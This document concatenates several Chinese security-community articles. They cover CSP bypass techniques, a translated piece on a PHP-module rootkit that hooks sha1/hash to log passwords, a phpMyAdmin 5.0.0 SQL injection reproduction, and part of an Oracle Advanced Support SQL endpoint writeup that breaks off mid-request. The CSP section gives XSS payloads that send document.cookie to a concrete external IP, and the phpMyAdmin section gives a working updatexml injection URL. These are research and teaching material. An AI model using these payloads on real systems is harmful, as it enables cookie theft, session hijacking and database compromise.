#### default-src
`default-src`作为所有其他指令的备用，一般来说`default-src 'none'; script-src
'self'`这样的情况就会是`script-src`遵循 self，其他的都会使用
none。也就是说，除了被设置的指令以外，其余指令都会被设置为`default-src`指令所设置的属性。
#### script-src
`script-src`指令限制了所有js脚本可以被执行的地方，包括通过链接方式加载的脚本url以及所有内联脚本，甚至包括各种方式的引用。其中还有一个很重要的参数叫`'unsafe-inline'`，如果加上这个参数，就不会阻止内联脚本，但这被认为是 **不安全** 的。
对于这个属性有个特殊的配置叫`unsafe-eval`，它会允许下面几个函数：
eval() Function() setTimeout() with an initial argument which is not callable.setInterval() with an initial argument which is not callable.
#### 关键字
`'none'`
代表空集；即不匹配任何 URL。两侧单引号是必须的。
`'self'`
代表和文档同源，包括相同的 URL 协议和端口号。两侧单引号是必须的。
`'unsafe-inline'`
允许使用内联资源，如内联的script元素、`javascript: URL`、内联的事件处理函数和内联的style元素，两侧单引号是必须的。
`'unsafe-eval'`
允许使用 `eval()` 等通过字符串创建代码的方法。两侧单引号是必须的。
#### 数据
`data`:
允许data: URI作为内容来源。
`mediastream`:
允许`mediastream: URI`作为内容来源。
`Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src
mediastream:`
## 0x03 CSP绕过
* * *
**这里几种绕过思路能打到cookie的都会给打到cookie的payload，没有打cookie的可能是我没有想到，希望师傅们批评指点！**
* * *
demo:
<?php
if (!isset($_COOKIE['cl4y'])) {
setcookie('cl4y',md5(rand(0,1000)));
}
header("Content-Security-Policy: default-src 'self';");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
if (isset($_GET['cl4y'])) {
echo "Your GET content:".@$_GET['cl4y'];
}//
?>
</body>
* * *
### location绕过
大部分情况，csp不会限制跳转，CSP如果限制跳转会影响很多的网站功能；或者是`script-src 'unsafe-inline';`这条规则。
这个地方可以用location跳转：location.href(window.location/window.open)绕过
127.0.0.1/csp/?cl4y=<script>location.href='http://118.25.14.40:8200/cookie/'%2bescape(document.cookie);</script>
利用条件:
1. 可以执行任意JS脚本，但是由于CSP无法数据带外
2. csp为`script-src 'unsafe-inline';`
### iframe绕过
如果有以下两个页面：
<!--safe.php-->
<?php
if (!isset($_COOKIE['cl4y'])) {
setcookie('cl4y',md5(rand(0,1000)));
}
header("Content-Security-Policy: default-src 'self';");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
if (isset($_GET['cl4y'])) {
echo "Your GET content:".@$_GET['cl4y'];
}//
?>
</body>
<!--index.php-->
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<h2>CSP</h2>
<?php
if (isset($_GET['cl4y'])) {
echo "Your GET content:".@$_GET['cl4y'];
}//
?>
</body>
safe.php做了csp防护，而index.php没有：
这里可以在index页面新建iframe用javascript直接操作safe页面的dom：
<!--xss代码，要注意url编码-->
<script>
var iframe = document.createElement('iframe');
iframe.src="./safe.php";
document.body.appendChild(iframe);
setTimeout(()=>location.href='http://118.25.14.40:8200/cookie/'+escape(document.cookie),1000);
</script>
利用条件:
1. 一个同源站点内存在两个页面，一个页面存在CSP保护，另一个页面没有CSP保护且存在XSS漏洞
### CDN绕过
一般来说，前端会用到许多的前端框架和库，部分企业为了减轻服务器压力或者其他原因，可能会引用其他CDN上的JS框架，如果CDN上存在一些低版本的框架，就可能存在绕过CSP的风险
这里给出orange师傅绕hackmd CSP的文章 [Hackmd XSS](https://paper.seebug.org/855/)
案例中hackmd中CSP引用了cloudflare.com CDN服务，于是orange师傅采用了低版本的angular js模板注入来绕过CSP，如下
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
{{constructor.constructor('alert(document.cookie)')()}}
</div>
//sssss" -->
大概讲一下：因为原来waf对注释完全可信，所以构造一个`<!-- foo="bar--> <script>alert(1)</script>"
-->`，所以只要闭合注释内容，就可以让后面的完全可控，再加上[Client-Side Template
Injection](https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs)中的手法，绕过csp。
这个是存在低版本angular js的[cdn服务商列表](https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js#L26-L76)
除了低版本angular js的模板注入，还有许多库可以绕过CSP
下面引用[文章](https://www.jianshu.com/p/f1de775bc43e)
如果用了Jquery-mobile库，且CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'"，可以用此exp
<div data-role=popup id='<script>alert(1)</script>'></div>
还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>
blackhat2017有篇ppt总结了可以被用来绕过CSP的一些[JS库](https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf)
利用条件:
1. CDN服务商存在某些低版本的js库
2. 此CDN服务商在CSP白名单中
### 站点可控静态资源绕过
给一个绕过codimd的(实例)codimd xss
案例中codimd的CSP中使用了[google-analytics](www.google-analytics.com)
而[analytics](www.google.analytics.com)中提供了自定义javascript的功能（google会封装自定义的js，所以还需要unsafe-eval），于是可以绕过CSP
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>
同理，若其他站点下提供了可控静态资源的功能，且CSP中允许了此站点，则可以采用此方式绕过
利用条件:
1. 站点存在可控静态资源
2. 站点在CSP白名单中
### Base-uri绕过
当服务器CSP script-src采用了nonce时，如果只设置了default-src没有额外设置base-uri，就可以使用<base>标签使当前页面上下文为自己的vps，如果页面中的合法script标签采用了相对路径，那么最终加载的js就是针对base标签中指定url的相对路径:
`default-src 'self'; script-src 'nonce-test'`
### 不完整script标签绕过nonce
考虑下下列场景，如果存在这样场景，该怎么绕过CSP
<?php
if (!isset($_COOKIE['cl4y'])) {
setcookie('cl4y',md5(rand(0,1000)));
}
header("Content-Security-Policy: default-src 'self'; script-src 'nonce-secret'");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
if (isset($_GET['cl4y'])) {
echo "Your GET content:".@$_GET['cl4y'];
}//
?>
<script nonce='secret'>
//do some thing
</script>
</body>
如果我们输入`127.0.0.1/csp/safe.php?cl4y=<script
src=data:text/plain,location.href='http://118.25.14.40:8200/?cookie'+escape(document.cookie);`即可xss
这是因为当浏览器碰到一个左尖括号时，会变成标签开始状态，然后会一直持续到碰到右尖括号为止，在其中的数据都会被当成标签名或者属性，所以第五行的`<script`会变成一个属性，值为空，之后的`nonce='secret'`会被当成我们输入的script的标签的一个属性，相当于我们盗取了合法的script标签中的nonce，于是成功绕过了scripr-src
### SVG绕过
SVG 是使用 XML
来描述二维图形和绘图程序的语言，且SVG标准中也定义了script标签的存在，所以如果页面中存在上传功能，并且没有过滤svg，那么可以通过上传恶意svg图像来xss。
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>location.href='http://118.25.14.40:8200/?cookie'+escape(document.cookie);</script>
</svg>
### 不完整的资源标签获取资源
看看下面的例子，我们如何把flag给带出来
<?php
if (!isset($_COOKIE['cl4y'])) {
setcookie('cl4y',md5(rand(0,1000)));
}
header("Content-Security-Policy: default-src 'self';script-src 'self'; img-src *;");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
if (isset($_GET['cl4y'])) {
echo "Your GET content:".@$_GET['cl4y'];
}//
?>
<h1>flag{0xffff}</h1>
<h2 id="id">3</h2>
</body>
这里可以注意到img用了`*`,有些网站会用很多外链图片，所以这个情况并不少见虽然我们可以新建任意标签，但是由于CSP我们的JS并不能执行（没有unsafe-inline），于是我们可以用不完整的`<img`标签来将数据带出:
### meta网页跳转绕过
这个情况的话，可以利用meta标签实现网页跳转：
127.0.0.1/csp/?cl4y=<meta http-equiv="refresh" content="1;url=http://118.25.14.40:8200/" >
### CRLF绕过
HCTF2018的一道题，当一个页面存在CRLF漏洞时，且我们的可控点在CSP上方，就可以通过注入回车换行，将CSP挤到HTTP返回体中，这样就绕过了CSP
原题github <https://github.com/Lou00/HCTF2018_Bottle>
参考evoA：<https://evoa.me/index.php/archives/53/> | 社区文章 |
# 【技术分享】PHP模块形态的Rootkit 让你的PHP解释器不再安全
|
##### 译文声明
本文是翻译文章，文章来源：blog.paradoxis.nl
原文地址：[ https://blog.paradoxis.nl/your-interpreter-isnt-safe-anymore-the-php-module-rootkit-c7ca6a1a9af5]( https://blog.paradoxis.nl/your-interpreter-isnt-safe-anymore-the-php-module-rootkit-c7ca6a1a9af5)
译文仅供参考，具体内容表达以及含义原文为准。
>
> 严正声明：本文仅限于技术讨论与学术学习研究之用，严禁用于其他用途（特别是非法用途，比如非授权攻击之类），否则自行承担后果，一切与作者和平台无关，如有发现不妥之处，请及时联系作者和平台
译者：[ForrestX386](http://bobao.360.cn/member/contribute?uid=2839753620)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
****
**0x00. 前言**
在正式开始本篇文章之前，我有必要阐述一下我的观点：我反对在没有得到个人或者组织明确授权的情况下对目标使用任何形态的恶意软件。
本篇文章的目的旨在通过演示示例教育读者恶意的PHP模块带来危害。
我会向大家简单介绍一下有关Rootkit的知识，然后解释一下我为什么编写一个攻击PHP解释器的PHP rootkit模块，
当然我会提供实验中涉及到的rootkit的PoC，
包括它的源码。如果你仅仅对这个PoC源码感兴趣，你可以[直接猛击这里访问](https://github.com/Paradoxis/PHP-Rootkit)。
****
**0x01. Rootkit 简介**
早在上个世纪90年代初，[Rootkits](https://en.wikipedia.org/wiki/Rootkit#History)
技术就已经存在了，传统意义上的Rootkit是指运行于内核态的程序代码。 我们日常使用的word 和浏览器都是运行于用户态的进程。
运行于内核态的进程拥有完全的系统权限。
在内核态中运行的代码很任性，可以被允许做任何事情，但是任性也是有代价的，如果你的代码在运行中出现一点点小错误都可能导致系统的崩溃或者数据丢失等严重问题。
大多数的Rootkit 工作原理都很类似，
他们会寻找操作系统处理内核态和用户态通信的地方，然后在这个地方注入代码，充当系统内核态和用户态之间通信的代理人，这样Rootkit就可以读取并修改内核态和用户态之间通信的任何数据。
在软件开发中，这种代理技术也被称之为HooK技术， 这种HooK技术可以带给我们很多好处，有点像程序员临时修复问题的monkey-path技术。
rootkit是如何Hook 函数调用的
**0x02. 我为什么要编写一个PHP 模块形态的rootkit**
至于为什么要为PHP编写一个Rootkit 模块？ 原因其实有很多，其中最重要的一条就是：
PHP 也许是世界上最好的语言之一（在PHP开发人员眼中是没有之一的 O(∩_∩)O~）
当然其他原因还包括：
**1、PHP易上手**
第一个也是最明显的原因就是：PHP 语言很容易上手。 以我的经验，学习如何使用Zend Engine（整个PHP语言构建的基石）并为其编写扩展
比学习如何编写系统内核模块容易多了，相比系统内核模块， Zend Engine 的代码本身就小很多，文档也非常棒，复杂度也小了很多。
退一步说，即使没有好的文档和教程， 我也能用一天的时间就学会关于如何编写PHP模块的基础知识，作为一个C
语言的入门新手尚可做到，那些术业有专攻的坏蛋肯定是没问题的。
**2、php 模块形式的rootkit稳定性好**
我们知道传统的rootkit 一般被设计用于运行在系统内核态，那么一个写的不是很好的rootkit导致系统崩溃的概率就很大，但是PHP
模块形态的rootkit就没有这个问题。 即使，PHP rootkit写的很烂，也不会导致整个系统崩溃。顶多会导致当前的请求被返回一串堆栈错误信息。
**3、伪装性好**
坦白地说，你上一次检测PHP 模块文件完整性是什么时候，如果我把我的PHP Rootkit模块命名成具有欺骗性的名字，比如’curl.so’，
你会较真的去检查一下它是否为真的curl 模块吗？
以 PHP 模块形态存在的rootkit 一般不会要求进行反病毒签名，也不会触发IDS报警，事实上，一些没有经验的PHP 开发人员一般只会安装PHP
，其他的基本不懂，这些有利条件都会使得我们的PHP 模块 rootkit 不会被轻易发觉。
此外，基于内核的rootkit 一般都会要求你HooK 所有进程的系统调用，这会大幅降低系统的性能，也更容易引起人们的警觉。
**4、可移植性**
编写PHP 模块形态的rootkit 不仅能享受到用户态编程的好处，还以让你的rootkit 跨平台使用（因为PHP
就是一个平台独立的开发语言）。在一个平台编写的Rootkit可以很容易在另一个平台编译、运行（比如Linux 平台下编写的PHP 模块
rootkit可以在windows 下编译、运行）。
**0x03. 关于试验中涉及到的rootkit详情**
现在到了最令人感兴趣的部分了，我会向您展示php 模块形态的 rootkit到底是怎样的，它到底有多危险。
在我的演示示例中，用户可以很明显的观察到他们正在被窥视。 通过一些小的调整和设置，甚至对于管理员来说，你都不会轻易观察到这些现象。
**Hook 加密方法**
PHP rootkit 一般由两个比较重要的部分组成, 一个部分是注册rootki自身，另一个部分就是Hook 目标函数。
接下来的截图描绘了我实现的rootkit 中rootki注册自身并hook相关函数的代码，这些代码加起来只有80行之多（包括注释行在内）
从代码中，我们可以了解到PHP 扩展是如何被注册到Zend 引擎（PHP 语言的基石）中的。 不知道细心的你是否注意到 PHP_MINIT_FUNCTION
方法中的两行奇怪的代码？
其中rootkit_hook_fuction 函数的实现如下:
rootkit_hook_fuction 会在全局函数表中搜索目标函数，然后将其保存在original
变量中，最后将函数引用指向Hook函数（也就实现了将恶意Hook函数注入到了全局函数表中的目的）。
演示示例中，rootkit选择Hook hash 和sha1这两个PHP内置方法。
总结一下，rootkit 工作流程如下：
首先在全局函数表中搜索目标函数，
如果找到了目标函数，那么rootkit会将目标函数保存在一个名为original的变量中，然后将全局函数表中的目标函数的引用替换成Hook函数的地址。
如果一切顺利的话，Hook函数会在目标函数之前被调用，这样rootkit
就可以完全控制目标函数了，这就意味着rootkit可以读取目标函数的入参信息和目标函数的返回值，或者完全绕过目标函数的调用，几乎可以做任何事情。
在写完rootkit中基本的Hook代码之后，我决定给rootkit模块增加日志功能，代码如下:
用于记录被Hook函数的参数值，下图会向您描绘这些日志是如何被记录的。
1、第一个命令显示/tmp/php-module-rootkit.txt 文件 不存在，这个文件用于保存rookit劫持到的敏感信息，
如果不存在，rootkit将在运行时新创建一个。
2、第二个命令显示rootkit是怎样通过参数 -dextension={module} 被载入到php解释器中的。
一般情况下这个可以在php.ini中通过配置实现。
3、我们通过执行 php -r ‘code’命令，告诉php解释器去执行双引号之间的代码。 在示例中，我将执行sha1()函数 并将执行结果打印到屏幕。
4、在最后一个命令中，我将会读取新创建的/tmp/php-module-rootkit.txt 文件内容，这个文件中包含了rootkit
Hook到的sha1 函数参数值，也就是我们要计算hash的密码内容。
**0x04. 我为什么不完全公开源代码**
我觉得很有必要解释一下， 我仍然能够看到有些人还在使用一些弱加密的函数，比如md5 和sha1， 去存储他们的密码。 记住：
永远不要使用这些弱加密的函数，现代的计算机处理器可以很轻松地破解这些密码hash值（目前bcrypt函数是个比较好的可替代的加密方法，
如果你的登录认证方式是通过类似OAuth的方式实现，这样会更加安全，因为你不用存储加密后的密码。）
一些网友告诉我说，他们希望可以得到rootkit的源码，于是我将rootkit的源码放在了Github上，这样大家都可以看到了。不过，
为了防止一些脚本小子拿这个rootkit去作恶，我已经删除了编译指令和Hook 方法的实现。 而且我也不会公布编译好的二进制模块。
一个稍微有点经验的 C 开发者可以很容易地实现PHP 模块的编译以及去实现hook 函数功能。
**0x05. 如何避免使用到恶意的PHP 模块**
检测你的PHP 模块是否为恶意模块的最简单方法就是：安装PHP
之后保存一份这些安装好的php模块文件的hash值，有了这些hash值之后，你就可以设置一个定时任务去计算所有PHP
扩展目录中模块的hash值，然后比较它们的值和原始的值是否一样。下面是一个简单的实现此目的的python脚本：
from argparse import ArgumentParser
from subprocess import Popen, PIPE
from hashlib import sha1
from os import path, walk
import re
import os
from sys import stderr
def extension_dir():
return Popen(["php-config", "--extension-dir"], stdout=PIPE).stdout.read().decode().strip()
def hash_files():
for root, dirs, files in walk(extension_dir()):
for file in files:
file = path.join(root, file)
yield file, hash_file(file)
def hash_file(file):
with open(file, "rb") as data:
return sha1(data.read()).hexdigest()
def check_hashes(hashes):
with open(hashes) as file:
for expected_path, expected_hash in (line.strip().split(", ") for line in file):
if hash_file(expected_path) != expected_hash:
yield expected_path
def main():
parser = ArgumentParser()
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("-l", "--list", help="List hashes, save these to a file which you will use later", action="store_true")
group.add_argument("-c", "--check", help="Check that all hashes are equal in the given file")
args = parser.parse_args()
if args.list:
for full_path, file in hash_files():
print("{}, {}".format(full_path, file))
else:
print("[!] Unable to find any extensions", file=stderr)
if args.check:
for expected_path in check_hashes(args.check):
print("[!] Potentially malicious extension detected: {}".format(expected_path), file=stderr)
else:
print("[+] No changes detected")
if __name__ == "__main__":
main() | 社区文章 |
### 前言
今晚瞎逛的时候发现phpmyadmin更新了,查看 [Release
notes](https://www.phpmyadmin.net/files/5.0.1/)
The two most notable fixes:
* Issue #15724 regarding two-factor authentication
* PMASA-2020-1 which is an SQL injection vulnerability in the user accounts page
发现修复了一个sql注入漏洞,便想复现和分析一下
### 官方修复
打开`phpmyadmin`的安全公告页面,查看公告写的[PMASA-2020-1
](https://www.phpmyadmin.net/security/PMASA-2020-1/)
描述
在用户帐户页面中发现了一个SQL注入漏洞。创建对此页面的查询时，恶意用户可能会注入自定义SQL来代替其自己的用户名。攻击者必须具有有效的MySQL帐户才能访问服务器。
下面的[fix](https://github.com/phpmyadmin/phpmyadmin/commit/c86acbf3ed49f69cf38b31879886dd5eb86b6983)
只改了一行
很显然 这个就是注入点了. 也不会像之前那个洞一样闹个乌龙,说是sql注入而其实是xss
### 环境搭建
docker一把梭
`docker run --name mysql5.6 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.6`
`docker run --name myadmin -d --link mysql5.7:db -p 8080:80
phpmyadmin/phpmyadmin:5.0
### 溯源和构造poc
下载前一个版本
5.0.0的[代码压缩包](https://files.phpmyadmin.net/phpMyAdmin/5.0.0/phpMyAdmin-5.0.0-english.zip)后,
打开`libraries/classes/Server/Privileges.php` 来到对应行.
if (isset($_GET['validate_username'])) {
$sql_query = "SELECT * FROM `mysql`.`user` WHERE `User` = '"
. $_GET['username'] . "';";
// 省略 节省篇幅
}
很显然可以看出注入点是`$_GET['username']`,而需要设置`$_GET['validate_username']`
往上看, 这段代码位于`public function getExtraDataForAjaxBehavior`函数.
搜索上层调用来到`/server_privileges.php` 的这段代码
if ($response->isAjax()
&& empty($_REQUEST['ajax_page_request'])
&& ! isset($_GET['export'])
&& (! isset($_POST['submit_mult']) || $_POST['submit_mult'] != 'export')
&& ((! isset($_GET['initial']) || $_GET['initial'] === null
|| $_GET['initial'] === '')
|| (isset($_POST['delete']) && $_POST['delete'] === __('Go')))
&& ! isset($_GET['showall'])
&& ! isset($_GET['edit_user_group_dialog'])
) {
$extra_data = $serverPrivileges->getExtraDataForAjaxBehavior(
(isset($password) ? $password : ''),
(isset($sql_query) ? $sql_query : ''),
(isset($hostname) ? $hostname : ''),
(isset($username) ? $username : '')
);
if (! empty($message) && $message instanceof Message) {
$response->setRequestStatus($message->isSuccess());
$response->addJSON('message', $message);
$response->addJSON($extra_data);
exit;
}
}
可以发现if里大部分条件都可控, 除了`$response->isAjax()`
public function isAjax(): bool
{
return $this->_isAjax;
}
查看构造函数
/**
* Creates a new class instance
*/
private function __construct()
{
if (! defined('TESTSUITE')) {
$buffer = OutputBuffering::getInstance();
$buffer->start();
register_shutdown_function([$this, 'response']);
}
$this->_header = new Header();
$this->_HTML = '';
$this->_JSON = [];
$this->_footer = new Footer();
$this->_isSuccess = true;
$this->_isDisabled = false;
$this->setAjax(! empty($_REQUEST['ajax_request']));
$this->_CWD = getcwd();
}
可以看到这条件在于`$_REQUEST['ajax_request']`是否为空.
根据上面的几个条件 我们可以构造出如下最简单的poc
`http://127.0.0.1:8080/server_privileges.php?ajax_request=true&validate_username=true&username=test%27%22`
登陆后(这个操作需要权限) 尝试访问上面的url.返回如下
{"success":false,"error":"<div class=\"error\"><h1>Error<\/h1><p><strong>Static analysis:<\/strong><\/p><p>1 errors were found during analysis.<\/p><p><ol><li>Ending quote \" was expected. (near \"\" at position 53)<\/li><\/ol><\/p><p><strong>SQL query:<\/strong> <a href=\"#\" class=\"copyQueryBtn\" data-text=\"SELECT * FROM `mysql`.`user` WHERE `User` = 'test'"';\">Copy<\/a>\n<a href=\".\/url.php?url=https%3A%2F%2Fdev.mysql.com%2Fdoc%2Frefman%2F5.6%2Fen%2Fselect.html\" target=\"mysql_doc\"><img src=\"themes\/dot.gif\" title=\"Documentation\" alt=\"Documentation\" class=\"icon ic_b_help\"><\/a><a href=\"server_sql.php?sql_query=SELECT+%2A+FROM+%60mysql%60.%60user%60+WHERE+%60User%60+%3D+%27test%27%22%27%3B&show_query=1\"><span class=\"nowrap\"><img src=\"themes\/dot.gif\" title=\"Edit\" alt=\"Edit\" class=\"icon ic_b_edit\"> Edit<\/span><\/a> <\/p>\n<p>\nSELECT * FROM `mysql`.`user` WHERE `User` = 'test'"';\n<\/p>\n<p>\n <strong>MySQL said: <\/strong><a href=\".\/url.php?url=https%3A%2F%2Fdev.mysql.com%2Fdoc%2Frefman%2F5.6%2Fen%2Ferror-messages-server.html\" target=\"mysql_doc\"><img src=\"themes\/dot.gif\" title=\"Documentation\" alt=\"Documentation\" class=\"icon ic_b_help\"><\/a>\n<\/p>\n<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"'' at line 1<\/code><br><\/div>"}
一个sql报错信息, 说明这个最短poc生效了
利用的话 反正都回显了 直接updatexml报错注入
`http://127.0.0.1:8080/server_privileges.php?ajax_request=true&validate_username=true&username=test%27%20and%20(select%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1))%20--%20`
在返回最下面可以看到`#1105 - XPATH syntax error: '~5.6.46~'`
### 后言
这个洞要求一个可以登录的账号才能注入. , 另外这个请求似乎也不需要`csrf-token`(不过似乎没什么用) | 社区文章 |
# 【挖洞经验】Oracle Advanced Support系统SQL注入漏洞挖掘经验分享
|
##### 译文声明
本文是翻译文章，文章来源：netspi.com
原文地址：<https://blog.netspi.com/anonymous-sql-execution-oracle-advanced-support/
>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[ **Carpediem**](http://bobao.360.cn/member/contribute?uid=2659563319)
预估稿费：170RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**Oracle Advanced Support系统SQL注入漏洞分析**
一年多前我在客户的一个外部环境中执行渗透测试，任何外部环境渗透测试的重要步骤之一就是挖掘出可访问的WEB服务。nmap和EveWitness的结合会令这步骤变得更快，因为我们可以进行端口扫描
并且把这些结果以屏幕截图的形式导入到 EyeWitness中。当梳理完 EyeWitness提供的屏幕截图页面后，我发现了一个Oracle 高级支持服务。
虽然我之前从没听过Oracle Advanced
Support,但是当我很快的google完之后，我了解到它似乎是一个允许oracle的技术支持在外部登入，并且在oracle系统环境下进行任何技术支持需要的操作的服务。有了这个信息之后，
我们可以将现有的web应用测试与它结合起来。
我们可以对这个应用开始进行一些简单的侦查，包括：
**寻找已经被爆出的漏洞**
**用burp爬取应用**
**枚举常见的路径**
**查看可获取的页面的源码**
幸运的是，我在主页的源码中发现了 一个包含资产目录清单的链接。
对于像这样一个未知的应用，目录列表是很有用的，它给我们了一些希望去发现一些很有趣 但不应该被访问到的东西
。果不其然的在搜寻每个目录之后，我偶然发现了以下的javascript文件：
让它变得更适合阅读一些
在Web渗透测试中，其中一个我喜欢的并且常常忽视的事情是查找应用中的javascript文件， 并且看看他们是否支持任何POST 或者是GET请求。
我们已经发现了一个叫做sql-service.js的javascript文件，这让我立刻在脑海中提高起警觉来。这个文件包含4个匿名函数其中三个t.getJSON方法的GET请求和一个t.post方法的POST请求。这些函数包含如下一些变量：
****
getSqlData
createNamedSql
getNamedSqlList
getSqlNameList
在这篇文章的剩余部分，我将提及匿名函数中的变量。
每个函数的根节点都位于/rest/data路径下。
接下来是将他们拆分之后的请求：
GET /rest/data/sql
POST /rest/data/sql
GET /rest/data/sql_list
GET /rest/data/sql_name_list
有了这些之后，开始拿出我最喜欢的代理工具:burp,看看会发生什么！
**直捣黄龙**
我首先尝试的是来自于getSqlData函数路径是/rest/data/sql的GET请求。我们也通过观察javascript发现这个请求需要附加一个参数，让我们在结尾加上”test”.
HTTP Request:
GET /rest/data/sql/test HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0
HTTP Response:
HTTP/1.1 404 Not Found Content-Type: application/json Content-Length: 20 Connection: close Named SQL not found.
当我们把”test”加到请求url的末尾，服务器返回了404。同时服务器也返回了这样一个信息：Named SQL not
found。如果我们尝试”test”之外的其他字符串，得到了同样的返回信息。我们把这个请求发到Burp 的
intruder模块，打算试图过一个目录列表字典来枚举潜在的参数名，看看是否能得到除了404之外的返回。但是有一个更简单的方法来找到合适的参数名。如果我们再次查看javascript,你会发现函数的名称给我们一些有价值的信息。我们在以下函数中发现了两个GET请求：getNamedSqlList
和 getSqlNameList.。我们刚才的请求返回的错误信息是 Named SQL not found
error。让我们尝试针对getNamedSqlList函数的GET请求。
HTTP Request:
GET /rest/data/sql_list HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json
Content-Length: 0
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close
Content-Length: 243633
[{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]},{"id":2,"name":"cpu_only","sql":"SELECT TIME,CPU_UTILIZATION FROM TIME_REPORT","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[]},{"id":3,"name":"simple_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE < ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":1,"name":"cpu_usage","type":"int","value":null}]},{"id":4,"name":"double_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE between ? and ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":2,"name":"cpu_low","type":"int","value":null},{"id":3,"name":"cpu_high","type":"int","value":null}]},{"id":5,"name":"by_time","sql":"select time, cpu_usage from CPU_MONITOR where time(time) > ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":4,"name":"time","type":"string","value":null}]},{"id":10,"name":"tableTransferMethod","sql":"SELECT result_text, result_value FROM MIG_RPT_TABLE_TRANSFER_METHOD WHERE scenario_id = :scenario_id AND package_run_id = :pkg_run_id AND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":5,"name":"scenario_id","type":"int","value":null},{"id":6,"name":"pkg_run_id","type":"string","value":null},{"id":7,"name":"engagement_id","type":"int","value":null}]},{"id":16,"name":"dataTransferVolumes","sql":"select RESULT_TEXT,n RESULT_VALUEnfrom MIG_RPT_DATA_TRANSFER_VOLUMEnwhere scenario_id = :scenario_idnAND package_run_id = :pkg_run_idnAND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":8,"name":"scenario_id","type":"int","value":null},{"id":9,"name":"pkg_run_id","type":"string","value":null},{"id":10,"name":"engagement_id","type":"int","value":null}]},{"id":17,"name":"dataCompressionPercentage","sql":"SELECT RESULT_TEXT,n RESULT_VALUEnFROM MIG_RPT_DATA_COMPRESSION_PCTnWHERE scenario_id = :scenario_idnAND package_run_id = :pkg_run_idnAND engagement_id =
…
这的确给了我们不少的信息，让我们仔细分析一下，我们获得了一组json对象，看一下数组中的第一个对象：
{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]}
我们发现了以下的属性：name, sql, dataSourceJNDI, privileges, and paramList，其中
sql属性是我最感兴趣的因为它包含了具有字符串值的SQL语句。我们把name的值放进先前尝试的GET请求中。
HTTP Request:
GET /rest/data/sql/sample HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0
HTTP Response:
HTTP/1.1 400 Bad Request
Content-Type: application/json
Content-Length: 44
Connection: close
Bad Request.Param value not defined for time
Hey！我们得到一些返回！但是我们少了一个参数，让我们加进来。
HTTP Request:
GET /rest/data/sql/sample?time=1 HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
